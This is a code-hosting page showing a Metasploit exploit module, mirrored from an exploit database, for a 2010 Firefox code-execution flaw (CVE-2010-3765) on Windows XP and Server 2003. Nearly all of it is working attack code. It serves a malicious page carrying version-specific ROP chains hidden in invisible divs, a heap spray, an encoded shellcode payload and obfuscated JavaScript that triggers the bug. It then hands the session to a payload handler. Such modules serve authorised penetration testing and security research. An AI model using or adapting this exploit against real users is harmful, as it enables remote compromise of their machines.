PageRenderTime 47ms CodeModel.GetById 20ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/windows/remote/16509.rb

https://bitbucket.org/DinoRex99/exploit-database
Ruby | 287 lines | 252 code | 19 blank | 16 comment | 44 complexity | a520f0eb2731619996051285630cac5c MD5 | raw file
Possible License(s): GPL-2.0
  1. ##
  2. # $Id: mozilla_interleaved_write.rb 11796 2011-02-22 20:49:44Z jduck $
  3. ##
  4. ##
  5. # This file is part of the Metasploit Framework and may be subject to
  6. # redistribution and commercial restrictions. Please see the Metasploit
  7. # Framework web site for more information on licensing and terms of use.
  8. # http://metasploit.com/framework/
  9. ##
  10. require 'msf/core'
  11. class Metasploit3 < Msf::Exploit::Remote
  12. Rank = NormalRanking
  13. #
  14. # This module acts as an HTTP server
  15. #
  16. include Msf::Exploit::Remote::HttpServer::HTML
  17. include Msf::Exploit::Remote::BrowserAutopwn
  18. autopwn_info({
  19. :ua_name => HttpClients::FF,
  20. :ua_minver => "3.6.8",
  21. :ua_maxver => "3.6.11",
  22. :os_name => OperatingSystems::WINDOWS,
  23. :javascript => true,
  24. :rank => NormalRanking,
  25. :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
  26. })
  27. def initialize(info = {})
  28. super(update_info(info,
  29. 'Name' => 'Mozilla Firefox Interleaving document.write and appendChild Exploit',
  30. 'Description' => %q{
  31. This module exploits a code execution vulnerability in Mozilla
  32. Firefox caused by interleaved calls to document.write and appendChild.
  33. This exploit is a metasploit port of the in-the-wild exploit.
  34. },
  35. 'License' => MSF_LICENSE,
  36. 'Author' =>
  37. [
  38. 'unknown', # discovered in the wild
  39. 'scriptjunkie' # Metasploit module, functionality/portability fixes
  40. ],
  41. 'Version' => '$Revision: 11796 $',
  42. 'References' =>
  43. [
  44. ['CVE', '2010-3765'],
  45. ['OSVDB', '68905'],
  46. ['BID', '15352'],
  47. ['URL', 'http://www.exploit-db.com/exploits/15352/'],
  48. ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=607222'],
  49. ['URL', 'http://www.mozilla.org/security/announce/2010/mfsa2010-73.html']
  50. ],
  51. 'DefaultOptions' =>
  52. {
  53. 'EXITFUNC' => 'process',
  54. 'InitialAutoRunScript' => 'migrate -f',
  55. },
  56. 'Payload' =>
  57. {
  58. 'Space' => 1024,
  59. 'BadChars' => "",
  60. },
  61. 'Targets' =>
  62. [
  63. # Tested against Firefox 3.6.8, 3.6.9, 3.6.10, and 3.6.11 on WinXP and Windows Server 2003
  64. [ 'Firefox 3.6.8 - 3.6.11, Windows XP/Windows Server 2003',
  65. {
  66. 'Platform' => 'win',
  67. 'Arch' => ARCH_X86,
  68. }
  69. ],
  70. ],
  71. 'DefaultTarget' => 0,
  72. 'DisclosureDate' => 'Oct 25 2010'
  73. ))
  74. end
  75. def on_request_uri(cli, request)
  76. # Re-generate the payload
  77. return if ((p = regenerate_payload(cli)) == nil)
  78. print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  79. send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
  80. # Handle the payload
  81. handler(cli)
  82. end
  83. def generate_html(payload)
  84. enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  85. custom_js = %Q|
  86. function check(){
  87. var temp="";
  88. var user=navigator.userAgent.toLowerCase();
  89. var vara=user.indexOf("windows nt 6.1");
  90. var varb=user.indexOf("windows nt 6.0");
  91. var varc=user.indexOf("firefox/3.6.8");
  92. var vard=user.indexOf("firefox/3.6.9");
  93. var vare=user.indexOf("firefox/3.6.10");
  94. var varf=user.indexOf("firefox/3.6.11");
  95. if(vara==-1&&varb==-1&&varc!=-1&&vard==-1&&vare==-1&&varf==-1){
  96. temp="8";
  97. }
  98. else if(vara==-1&&varb==-1&&varc==-1&&vard!=-1&&vare==-1&&varf==-1){
  99. temp="9";
  100. }
  101. else if(vara==-1&&varb==-1&&varc==-1&&vard==-1&&vare!=-1&&varf==-1){
  102. temp="10";
  103. }
  104. else if(vara==-1&&varb==-1&&varc==-1&&vard==-1&&vare==-1&&varf!=-1){
  105. temp="11";
  106. }
  107. else {
  108. return temp="0";
  109. }
  110. return temp;
  111. }
  112. function dedede(argsu){
  113. var i;var sunb = "";
  114. for (i = 0; i < argsu.length; i++){
  115. sunb += String.fromCharCode(parseInt(argsu[i], 16));
  116. }
  117. return unescape(sunb);
  118. }
  119. function code(beastk){
  120. var nop = "";
  121. var len = beastk.length;
  122. for (i = 0; i < len;) {
  123. nop = nop + "m" + beastk.substring(i, i + 5);
  124. i = i + 5;
  125. }
  126. nop = nop.split("m").toString();
  127. var temp = new Array();
  128. for (j = 0; j < nop.length; j++) {
  129. if (nop.charCodeAt(j).toString(16) == "2c") {
  130. temp.push("25");
  131. }
  132. else {
  133. temp.push(nop.charCodeAt(j).toString(16));
  134. }
  135. }
  136. return dedede(temp);
  137. }
  138. function getatts(str){
  139. var cobj=document.createElement(str);
  140. cobj.id="testcase";
  141. document.body.appendChild(cobj);
  142. var obj=document.getElementById("testcase");
  143. var atts = new Array();
  144. for(p in obj){
  145. if(typeof(obj[p])=="string"){
  146. atts.push(p);
  147. }
  148. }
  149. document.body.removeChild(cobj);
  150. return atts;
  151. }
  152. var chk=check();
  153. var bk="mp.ojsyex5";
  154. var array = new Array();
  155. var ls = 0x100000-(bk.length*2+0x01020);
  156. var retaddr ="";//////////////////////111111111111111111111111111111
  157. if (chk == "0") {
  158. location.href = "about:blank";
  159. }
  160. else {
  161. if(chk=="8"){
  162. retaddr=code("u0d0du0d0d");
  163. }
  164. if(chk=="9"){
  165. retaddr=code("uef52u100a");
  166. }
  167. if(chk=="10"){
  168. retaddr=code("ub8b7u1029");
  169. }
  170. if(chk=="11"){
  171. retaddr=code("u4bc8u1000");
  172. }
  173. var ropstr = retaddr;
  174. while (ropstr.length < (0x85750 - 0x1000) / 2) {
  175. ropstr += retaddr
  176. };
  177. ///////////////////////////////2222222222222222222
  178. var sunb="";
  179. var sun8inner = document.getElementById("sun8").innerHTML;
  180. var sun9inner = document.getElementById("sun9").innerHTML;
  181. var sun10inner = document.getElementById("sun10").innerHTML;
  182. var sun11inner = document.getElementById("sun11").innerHTML;
  183. var shellcodes = document.getElementById("suv").innerHTML;
  184. if(chk=="8"){
  185. sunb=sun8inner;
  186. }
  187. if(chk=="9"){
  188. sunb=sun9inner;
  189. }
  190. if(chk=="10"){
  191. sunb=sun10inner;
  192. }
  193. if(chk=="11"){
  194. sunb=sun11inner;
  195. }
  196. ropstr += code(sunb + shellcodes);
  197. for (u = 0; u < 8; u++) {
  198. retaddr += retaddr;
  199. }
  200. while (ropstr.length < ls) {
  201. ropstr += retaddr;
  202. }
  203. var lefthalf = ropstr.substring(0, ls / 2);
  204. ropstr = "";
  205. for (i = 0; i < 0x200; i++) {
  206. array[i] = lefthalf + bk;
  207. }
  208. ////////////////////////////////////333333333333
  209. if(chk=="8"){
  210. retaddr=code("ub8a7u1029");
  211. }
  212. if(chk=="9"){
  213. retaddr=code("uab07u1006");
  214. }
  215. if(chk=="10"){
  216. retaddr=code("u8247u1009");
  217. }
  218. if(chk=="11"){
  219. retaddr=code("uf7e7u1017");
  220. }
  221. for (i = 0; i < 16; i++) {
  222. retaddr += retaddr;
  223. }
  224. ropstr = retaddr;
  225. while (ropstr.length < ls) {
  226. ropstr += retaddr;
  227. }
  228. lefthalf = ropstr.substring(0, ls / 2);
  229. ropstr = "";
  230. for (i = 0x200; i < 0x500; i++) {
  231. array[i] = lefthalf + bk;
  232. }
  233. var tags = new Array("audio", "a", "base");
  234. for (inx = 0; inx < 0x8964; inx++)
  235. for (i = 0; i < tags.length; i++) {
  236. var atts = getatts(tags[i]);
  237. for (j = 0; j < atts.length; j++) {
  238. var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] + ">" + tags[i];
  239. document.write(html);
  240. }
  241. }
  242. }
  243. |
  244. opts = {
  245. 'Symbols' => {
  246. 'Variables' => %w{ atts temp vara varb varc vard vare varf argsu beastk nop tags retaddr
  247. ropstr lefthalf bk sunb shellcodes sun8inner sun9inner sun10inner sun11inner array chk },
  248. 'Methods' => %w{ getatts code check dedede }
  249. }
  250. }
  251. custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts).obfuscate()
  252. return %Q|
  253. <html>
  254. <body>
  255. <div style="visibility:hidden;width:0px;height:0px">
  256. <div id=sun8>ub8acu1029u0d00u0d0du0d00u102du1000u0d00u102du1000u8710u1018ub288u1086u127cu1004udc24u1009u102du1000u0000u0000u1000u0000u1000u0000u0040u0000u1af1u1000u9090u0febu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u5b58u1889u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000ufb83u74ffu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u830bu04c0u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uf3ebue890u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uffecuffffu7be4u1005u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004udc24u1009</div>
  257. <div id=sun9>u2794u1000uc288u1082u3e38u1000u6cd4u100bu1016u1000u0000u0000u1000u0000u1000u0000u0040u0000uce22u1003u9090u0FEBu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u5B58u1889u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFB83u74FFu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u830Bu04C0u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uF3EBuE890u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFFECuFFFFu9602u1001u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u6cd4u100b</div>
  258. <div id=sun10>uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029u20F0u1011u2288u1082u428au1000u7676u1016ub8b7u1029u0000u0000u1000u0000u1000u0000u0040u0000u9405u1003u9090u0FEBuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u5B58u1889uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFB83u74FFuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u830Bu04C0uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uF3EBuE890uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFFECuFFFFuE541u1001u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u7676u1016</div>
  259. <div id=sun11>u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u83cau1000u0280u1083u3b5au1000u8ef4u100au4bc8u1000u0000u0000u1000u0000u1000u0000u0040u0000u11a1u1000u9090u0FEBu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u5B58u1889u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFB83u74FFu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u830Bu04C0u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uF3EBuE890u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFFECuFFFFu3500u1007u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u8ef4u100a</div>
  260. <div id=suv>#{enc_code.split("%").join}uffffuffffuffffuffff</div>
  261. </div>
  262. <body>
  263. <script type="text/javascript">
  264. #{custom_js}
  265. </script></body></html>
  266. |
  267. end
  268. end